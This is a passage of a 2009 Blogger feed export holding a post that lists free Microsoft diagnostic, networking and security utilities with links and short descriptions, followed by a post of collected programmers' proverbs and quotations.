href="http://support.microsoft.com/default.aspx?scid=kb;en-us;819036"&gt;&lt;strong&gt;&lt;u&gt;COMDisable&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; tool, views, disable or enable a list of available COM ports. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/utilities/debugview.mspx"&gt;&lt;strong&gt;&lt;u&gt;DebugView&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; monitors kernel-mode and Win32 debug output on your local or networked TCP/IP computer.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=5cfc9b74-97aa-4510-b4b9-b2dc98c8ed8b&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Desktop Heap Monitor&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; examines usage of a WIN32 subsystem that has an internal heap area known as "desktop heap". When running large number of programs, "Out Of Memory" error messages appear when you attempt to start new programs or try to use programs that are already running, even though you still have plenty of physical and pagefile memory available. (Support: &lt;a href="http://support.microsoft.com/kb/126962/"&gt;&lt;strong&gt;KB126952&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/utilities/diskmon.mspx"&gt;&lt;strong&gt;&lt;u&gt;DiskMon&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; logs and displays all hard disk activity.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://support.microsoft.com/dllhelp/"&gt;&lt;strong&gt;&lt;u&gt;DLL Online Help Database&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; – helps identify DLL version conflicts.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.fiddlertool.com/fiddler/version.asp"&gt;&lt;strong&gt;&lt;u&gt;Fiddler&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is an HTTP Debugging Proxy which logs all HTTP traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP Traffic, set breakpoints, and "fiddle" with incoming or outgoing data. (Support: &lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/IE_IntroFiddler.asp"&gt;&lt;strong&gt;HTTP Debugging&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://support.microsoft.com/?scid=aw;en-us;293623&amp;amp;eula=1"&gt;&lt;strong&gt;&lt;u&gt;Guided Help&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; (&lt;a href="http://support.microsoft.com/search/default.aspx?catalog=lcid%3d1033&amp;amp;spid=global&amp;amp;query=kbacw&amp;amp;"&gt;&lt;strong&gt;depending on the problem&lt;/strong&gt;&lt;/a&gt;) can automatically guide you through various steps to perform some diagnostic tasks yourself. (Support: &lt;a href="http://support.microsoft.com/kb/915092/"&gt;&lt;strong&gt;How to . . .&lt;/strong&gt;&lt;/a&gt;) &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=e84d3b35-63c3-445b-810d-9fed3fdeb13f&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Kernel Memory Space Analyzer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; helps expert debugging engineers analyze crash dump files.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=8f0a8df6-4a21-4b43-bf53-14332ef092c9&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;MDAC Component Checker&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; helps you determine installed version information and diagnose installation issues with the Microsoft Data Access Components (Support: &lt;a href="http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q307/2/55.ASP&amp;amp;NoWebContent=1."&gt;&lt;strong&gt;MDAC Website&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://oca.microsoft.com/en/windiag.asp"&gt;&lt;strong&gt;&lt;u&gt;Memory Diagnostic&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; tests the Random Access Memory (RAM) on your computer for errors. (Support: &lt;a href="http://oca.microsoft.com/en/windiag.asp#top"&gt;&lt;strong&gt;Users Guide&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ea541e8e-85a3-4d2f-a3a4-b329d03fc2fa&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Network Diagnostics for Windows XP&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; tool (xpnetdiag) analyzes information about your network connectivity to help troubleshoot common connection problems. (Support: &lt;a href="http://support.microsoft.com/?kbid=914440"&gt;&lt;strong&gt;KB914440&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/utilities/portmon.mspx"&gt;&lt;strong&gt;&lt;u&gt;Portmon&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; monitors and displays all serial and parallel port activity on a system. Advanced filtering and search capabilities make it a powerful tool for tracking down problems in system or application configurations. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=89811747-c74b-4638-a2d5-ac828bdc6983&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;PortQry Command Line Port Scanner&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a command-line utility that troubleshoots TCP/IP connectivity issues by reporting the port status of TCP and UDP ports on a computer you choose. For details, see &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;310099"&gt;&lt;strong&gt;KB310099&lt;/strong&gt;&lt;/a&gt; and &lt;a href="http://support.microsoft.com/?id=837243"&gt;&lt;strong&gt;description&lt;/strong&gt;&lt;/a&gt;. (Description of &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;832017"&gt;&lt;strong&gt;Microsoft Port Numbers&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.iana.org/assignments/port-numbers"&gt;&lt;strong&gt;All Port Numbers&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=69ba779b-bae9-4243-b9d6-63e62b4bcd2e&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Port Reporter&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; logs TCP and UDP port activity on a local Windows system by running as a service logging which ports are used, which process is using the port, if the process is a service, which modules the process has loaded and which user account is running the process. (Description of &lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;832017"&gt;&lt;strong&gt;Microsoft Port Numbers&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://www.iana.org/assignments/port-numbers"&gt;&lt;strong&gt;All Port Numbers&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://download.microsoft.com/download/2/8/8/28810043-0e21-4004-89a3-2f477a74186f/PRParser.exe"&gt;&lt;strong&gt;&lt;u&gt;Port Reporter Parser Tool&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a log parser for Port Reporter log files. Port Reporter Parser has many features that can help you analyze Port Reporter log files.  &lt;/div&gt;&lt;/blockquote&gt; &lt;div dir="ltr"&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/utilities/processexplorer.mspx"&gt;&lt;strong&gt;&lt;u&gt;Process Explorer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; shows information about which handles and DLLs processes have opened or loaded.&lt;/div&gt; &lt;div dir="ltr"&gt; &lt;/div&gt; &lt;div dir="ltr"&gt;&lt;a href="http://www.microsoft.com/technet/sysinternals/processesandthreads/processmonitor.mspx"&gt;&lt;strong&gt;&lt;u&gt;Process Monitor&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; shows real-time file system, Registry and process/thread activity.&lt;/div&gt; &lt;div dir="ltr"&gt; &lt;/div&gt; &lt;div dir="ltr"&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=cebf3c7c-7ca5-408f-88b7-f9c79b7306c0&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Product Support's Reporting Tools&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; and &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=00ad0eac-720f-4441-9ef6-ea9f657b5c2f&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Premier Services Reporting Utility (Alliance version)&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; facilitates the gathering of critical system and logging information used in troubleshooting support issues. There are 8 specialty versions, one for each of the following support scenario categories: Alliance, Directory Services (not for NT 4.0), Networking, Clustering, SQL, Software Update Services, MDAC and Base / Setup / Storage / Print / Performance. (Support: &lt;a href="http://blogs.msdn.com/pareshj/archive/2005/11/29/497925.aspx"&gt;&lt;strong&gt;Blog Article&lt;/strong&gt;&lt;/a&gt; &amp;amp; &lt;a href="http://support.microsoft.com/default.aspx?scid=KB;EN-US;818742"&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div dir="ltr"&gt; &lt;/div&gt; &lt;div dir="ltr"&gt;&lt;a href="http://download.sysinternals.com/Files/SysinternalsSuite.zip"&gt;&lt;strong&gt;&lt;u&gt;Sysinternals Troubleshooting Utilities&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; zipped into a single file containing the individual troubleshooting tools and help files.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=e089ca41-6a87-40c8-bf69-28ac08570b7e&amp;amp;displaylang=en&amp;amp;tm"&gt;&lt;strong&gt;&lt;u&gt;User Mode Process Dumper&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; (userdump) dumps any running Win32 processes memory image (including system processes such as csrss.exe, winlogon.exe, services.exe, etc) on the fly, without attaching a debugger, or terminating target processes. Generated dump file can be analyzed or debugged by using the standard debugging tools.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=901A9B95-6063-4462-8150-360394E98E1E&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;User Profile Deletion Utility&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; (Delprof) deletes all data that is stored in a user profile including desktop settings, favorites, program-specific data that is contained in the Application Data folder, and the contents of the My Documents folder. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=1b286e6d-8912-4e18-b570-42470e2f3582&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;User Profile Hive Cleanup&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; helps with slow log off and unreconciled profile problems ensuring that user sessions are completely terminated when a user logs off when using Roaming Profiles or locked profiles as implemented through the Shared Computer Toolkit. &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=DE1491AC-0AB6-4990-943D-627E6ADE9FCB&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Video Decoder Checkup Utility&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; helps determine if an MPEG-2 DVD video decoder is installed, and whether it's compatible with Media Player 10 or Media Center Edition.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;290301"&gt;&lt;strong&gt;&lt;u&gt;Windows Installer CleanUp Utility&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; can remove a program's configuration information if experiencing installation (Setup) problems.  &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=49ae8576-9bb9-4126-9761-ba8011fabf38&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Windows Support Tools&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; are intended for use by Microsoft support personnel and experienced users to assist in diagnosing and resolving computer problems. &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;strong&gt;SECURITY, ANTI-SPYWARE &amp;amp; ANTI-VIRUS&lt;/strong&gt; &lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4b4aba06-b5f9-4dad-be9d-7b51ec2e5ac9&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Baseline Security Analyzer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; includes a graphical and command line interface that can perform local or remote scans of Windows systems. MBSA will scan for common security misconfigurations in the following products: Windows 2000, XP, Server 2003, IIS 5.0 &amp;amp; 6.0, SQL Server 7.0 &amp;amp; 2000, MSIE 5.01 and later, and Office 2000, 2002 &amp;amp; 2003. MBSA also scans for missing security updates, update rollups and service packs published to Microsoft Update. (Support Tool: &lt;a href="http://www.microsoft.com/technet/security/tools/mbsavisio.mspx"&gt;&lt;strong&gt;Visio Connector for MBSA 2.0&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://www.microsoft.com/technet/security/tools/mbsahome.mspx"&gt;&lt;strong&gt;MBSA Homepage&lt;/strong&gt;&lt;/a&gt;)&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=ad724ae0-e72d-4f54-9ab3-75b8eb148356&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;Malicious Software Removal Tool&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; checks for infection by specific, prevalent malicious software (including Blaster, Sasser, and Mydoom) and helps to remove the infection if it is found. (Updated on the second Tuesday of each month.)  &lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt;&lt;a href="http://support.microsoft.com/default.aspx?scid=kb;en-us;892853"&gt;&lt;strong&gt;&lt;u&gt;Promqry and PromqryUI&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; detects if a network sniffer that is running on a computer. If a system has network interfaces in promiscuous mode, it may indicate the presence of a network sniffer running on the system.&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=1a10d27a-4aa5-4e96-9645-aa121053e083&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;PromqryUI&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; provides a Windows graphical interface that can be used to detect network interfaces that are running in promiscuous mode. &lt;/div&gt; &lt;div&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=4df8eb90-83be-45aa-bb7d-1327d06fe6f5&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Promqry&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; is a command line tool that can be used to detect network interfaces that are running in promiscuous mode.&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt; &lt;div&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=435BFCE7-DA2B-4A6A-AFA4-F7F14E605A0D&amp;amp;displaylang=en"&gt;&lt;strong&gt;&lt;u&gt;Windows Defender&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; protects against pop-ups, slow performance and security threats caused by spyware and other potentially unwanted software.&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;a href="http://safety.live.com/site/en-US/default.htm"&gt;&lt;strong&gt;&lt;u&gt;Windows Live Safety Center&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; – Web service designed to ensure the health of your computer with free scanning tools helping get rid of unwanted software.    &lt;/div&gt; &lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;div dir="ltr"&gt;&lt;strong&gt;OFFICE APPLICATIONS&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div dir="ltr"&gt; &lt;div dir="ltr" align="left"&gt;&lt;a href="http://bhandler.spaces.live.com/blog/cns%2170F64BC910C9F7F3%214953.entry"&gt;&lt;strong&gt;&lt;u&gt;Office Accounting 2009&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt; &lt;div dir="ltr" align="left"&gt; &lt;/div&gt;&lt;/div&gt; &lt;div dir="ltr"&gt;&lt;a href="http://download.microsoft.com/download/word50/Wd55_eng/5.5/WIN98/EN-US/Wd55_eng.exe"&gt;&lt;strong&gt;&lt;u&gt;Word 5.5 for DOS&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt; - Huh? &lt;/div&gt;&lt;/blockquote&gt; &lt;div dir="ltr"&gt; &lt;/div&gt; &lt;div dir="ltr"&gt;&lt;strong&gt;EXPRESS EDITIONS FOR DEVELOPERS&lt;/strong&gt;&lt;/div&gt; &lt;blockquote dir="ltr"&gt; &lt;div dir="ltr" align="left"&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=83a26557-59af-4149-8c8c-95dba1872c47&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;SQL Server 2005&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=8c88d2d6-c5f2-44ac-aa4a-630f3d47474c&amp;amp;DisplayLang=en"&gt;&lt;strong&gt;&lt;u&gt;SQL Server 2005 with Advanced Services&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/div&gt; &lt;div dir="ltr" align="left"&gt; &lt;/div&gt; &lt;div dir="ltr" align="left"&gt;&lt;a href="http://msdn.microsoft.com/vstudio/express/vwd/download/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;Visual 2005 Web Developer&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;Visual&lt;/u&gt;&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/vstudio/express/vwd/download/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;Basic&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;,  &lt;a href="http://msdn.microsoft.com/vstudio/express/visualcsharp/download/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;C#&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://msdn.microsoft.com/vstudio/express/visualc/download/"&gt;&lt;strong&gt;&lt;u&gt;C++&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;, &amp;amp; &lt;a href="http://msdn.microsoft.com/vstudio/express/visualJ/download/default.aspx"&gt;&lt;strong&gt;&lt;u&gt;J#&lt;/u&gt;&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2016511178061154921?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2016511178061154921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2016511178061154921' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2016511178061154921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2016511178061154921'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/04/free-downloads-from-microsoft.html' title='FREE DOWNLOADS FROM MICROSOFT'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-4184215715263862216</id><published>2009-04-10T11:17:00.003+05:30</published><updated>2009-04-10T11:19:10.417+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Random'/><title type='text'>Programmers proverbs</title><content type='html'>A FEW PROGRAMMERS' PROVERBS&lt;br /&gt;(COLLECTED OVER NET)&lt;br /&gt;&lt;br /&gt;A clever person solves a problem.&lt;br /&gt;A wise person avoids it.&lt;br /&gt;&lt;br /&gt;-- Einstein&lt;br /&gt;&lt;br /&gt;André Bensoussan once explained to me the difference between a programmer and a designer:&lt;br /&gt;&lt;br /&gt;"If you make a general statement, a programmer says, 'Yes, but...'&lt;br /&gt;while a designer says, 'Yes, and...'"&lt;br /&gt;&lt;br /&gt;No matter what the problem is,&lt;br /&gt;it's always a people problem.&lt;br /&gt;&lt;br /&gt; Jerry Weinberg&lt;br /&gt;&lt;br /&gt; &lt;span class="fullpost"&gt;&lt;br /&gt;Wexelblat's Scheduling Algorithm:&lt;br /&gt;&lt;br /&gt;Choose two:&lt;br /&gt;&lt;br /&gt;    * Good&lt;br /&gt;    * Fast&lt;br /&gt;    * Cheap&lt;br /&gt;&lt;br /&gt;Craziness is doing the same thing and expecting a different result.&lt;br /&gt;&lt;br /&gt; Tom DeMarco, rephrasing Einstein, who said&lt;br /&gt;&lt;br /&gt;Insanity: doing the same thing over and over again and expecting different results.&lt;br /&gt;&lt;br /&gt;"There's no time to stop for gas, we're already late"&lt;br /&gt;&lt;br /&gt;-- Karin Donker&lt;br /&gt;Deming's 14 points&lt;br /&gt;&lt;br /&gt;   1. Create constancy of purpose.&lt;br /&gt;   2. Adopt the new philosophy.&lt;br /&gt;   3. Cease dependence on mass inspection to achieve quality.&lt;br /&gt;   4. Minimize total cost, not initial price of supplies.&lt;br /&gt;   5. Improve constantly the system of production and service.&lt;br /&gt;   6. Institute training on the job.&lt;br /&gt;   7. Institute leadership.&lt;br /&gt;   8. Drive out fear.&lt;br /&gt;   9. Break down barriers between departments.&lt;br /&gt;  10. Eliminate slogans, exhortations, and numerical targets.&lt;br /&gt;  11. Eliminate work standards (quotas) and management by objective.&lt;br /&gt;  12. Remove barriers that rob workers, engineers, and managers of their right to pride of workmanship.&lt;br /&gt;  13. Institute a vigorous program of education and self-improvement.&lt;br /&gt;  14. Put everyone in the company to work to accomplish the transformation.&lt;br /&gt;&lt;br /&gt;We know about as much about software quality problems as they knew about the Black Plague in the 1600s. We've seen the victims' agonies and helped burn the corpses. We don't know what causes it; we don't really know if there is only one disease. We just suffer -- and keep pouring our sewage into our water supply.&lt;br /&gt;&lt;br /&gt;-- Tom Van Vleck&lt;br /&gt;The Troops Know&lt;br /&gt;&lt;br /&gt;    * The schedule doesn't have enough time for maintenance in it.&lt;br /&gt;    * A lot of bugs get past the tests.&lt;br /&gt;    * Most old code can't be maintained.&lt;br /&gt;&lt;br /&gt;To go faster, slow down. Everybody who knows about orbital mechanics understands that.&lt;br /&gt;&lt;br /&gt;-- Scott Cherf&lt;br /&gt;Everybody Knows:&lt;br /&gt;&lt;br /&gt;    * Discipline is the best tool.&lt;br /&gt;    * Design first, then code.&lt;br /&gt;    * Don't patch bugs out, rewrite them out.&lt;br /&gt;    * Don't test bugs out, design them out.&lt;br /&gt;&lt;br /&gt;Everybody Knows:&lt;br /&gt;&lt;br /&gt;    * If you don't understand it, you can't program it.&lt;br /&gt;    * If you didn't measure it, you didn't do it.&lt;br /&gt;&lt;br /&gt;Everybody Knows:&lt;br /&gt;&lt;br /&gt;If something is worth doing once, it's worth building a tool to do it.&lt;br /&gt;&lt;br /&gt;Your problem is another's solution;&lt;br /&gt;Your solution will be his problem.&lt;br /&gt;Everybody Knows:&lt;br /&gt;&lt;br /&gt;    * If you've found 3 bugs in a program, best estimate is that there are 3 more.&lt;br /&gt;    * 60% of product cost comes after initial shipment.&lt;br /&gt;&lt;br /&gt;The significant problems we face cannot be solved by the same level of thinking that created them.&lt;br /&gt;&lt;br /&gt;-- Albert Einstein&lt;br /&gt;&lt;br /&gt;On the radio the other night, Jimmy Connors said the best advice he ever got was from Bobby Riggs:&lt;br /&gt;&lt;br /&gt;    * do it&lt;br /&gt;    * do it right&lt;br /&gt;    * do it right now&lt;br /&gt;&lt;br /&gt;It is not enough to do your best: you must know what to do, and THEN do your best.&lt;br /&gt;&lt;br /&gt;-- W. Edwards Deming&lt;br /&gt;&lt;br /&gt;A leader is best when people barely know that he exists.&lt;br /&gt;Less good when they obey and acclaim him.&lt;br /&gt;Worse when they fear and despise him.&lt;br /&gt;Fail to honor people, and they fail to honor you.&lt;br /&gt;But of a good leader, when his work is done, his aim fulfilled,&lt;br /&gt;they will say, "We did this ourselves."&lt;br /&gt;&lt;br /&gt;-- Lao-Tzu&lt;br /&gt;&lt;br /&gt;You must be the change&lt;br /&gt;You wish to see in the world&lt;br /&gt;&lt;br /&gt;-- Gandhi&lt;br /&gt;&lt;br /&gt;Experiment escorts us last,&lt;br /&gt;His pungent company&lt;br /&gt;Will not allow an axiom&lt;br /&gt;An opportunity.&lt;br /&gt;&lt;br /&gt;-- Emily Dickinson&lt;br /&gt;&lt;br /&gt;when the cart stops&lt;br /&gt;do you whip the cart&lt;br /&gt;or whip the ox?&lt;br /&gt;&lt;br /&gt;Q: How many QA testers does it take to change a lightbulb?&lt;br /&gt;A: QA testers don't change anything. They just report that it's dark.&lt;br /&gt;&lt;br /&gt; Kerry Zallar&lt;br /&gt;&lt;br /&gt;Q: How many software engineers does it take to change a lightbulb?&lt;br /&gt;A: Just one. But the house falls down.&lt;br /&gt;&lt;br /&gt;Andrew Siwko&lt;br /&gt;&lt;br /&gt;One test is worth a thousand opinions.&lt;br /&gt;&lt;br /&gt;"If you didn't write it down, it didn't happen."&lt;br /&gt;&lt;br /&gt;This saying is popular among scientists (doing experiments), but I believe it applies to software testing, particularly for real-time systems.&lt;br /&gt;&lt;br /&gt;--Larry Zana&lt;br /&gt;&lt;br /&gt;We reject kings, presidents, and voting.&lt;br /&gt;We believe in rough consensus and running code.&lt;br /&gt;&lt;br /&gt;--Dave Clark (1992)&lt;br /&gt;&lt;br /&gt;I am a design chauvinist. I believe that good design is magical and not to be lightly tinkered with. The difference between a great design and a lousy one is in the meshing of the thousand details that either fit or don't, and the spirit of the passionate intellect that has tied them together, or tried. That's why programming---or buying software---on the basis of "lists of features" is a doomed and misguided effort. The features can be thrown together, as in a garbage can, or carefully laid together and interwoven in elegant unification, as in APL, or the Forth language, or the game of chess.&lt;br /&gt;&lt;br /&gt;-- Ted Nelson&lt;br /&gt;&lt;br /&gt; Software is Too Important to be Left to Programmers, by Meilir Page-Jones.&lt;br /&gt;&lt;br /&gt; "If you think good architecture is expensive, try bad architecture."&lt;br /&gt;&lt;br /&gt;-- Brian Foote and Joseph Yoder&lt;br /&gt;&lt;br /&gt;Abraham Lincoln reportedly said that, given eight hours to chop down a tree, he'd spend six sharpening his axe.&lt;br /&gt;&lt;br /&gt;-- TidBITS 654, quoted by Derek K. Miller, via Art Evans&lt;br /&gt;&lt;br /&gt;... while we all know that unmastered complexity is at the root of the misery, we do not know what degree of simplicity can be obtained, nor to what extent the intrinsic complexity of the whole design has to show up in the interfaces. We simply do not know yet the limits of disentanglement. We do not know yet whether intrinsic intricacy can be distinguished from accidental intricacy.&lt;br /&gt;&lt;br /&gt;-- E. W. Dijkstra, Communications of the ACM, Mar 2001, Vol. 44, No. 3&lt;br /&gt;&lt;br /&gt;You can only find truth with logic if you have already found truth without it.&lt;br /&gt;&lt;br /&gt;-- Gilbert Keith Chesterton (1874-1936) " The Man who was Orthodox", via Paul Black&lt;br /&gt;And here is the rest of it.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-4184215715263862216?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/4184215715263862216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=4184215715263862216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4184215715263862216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4184215715263862216'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/04/few-programmers-proverbs-collected-over.html' title='Programmers proverbs'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 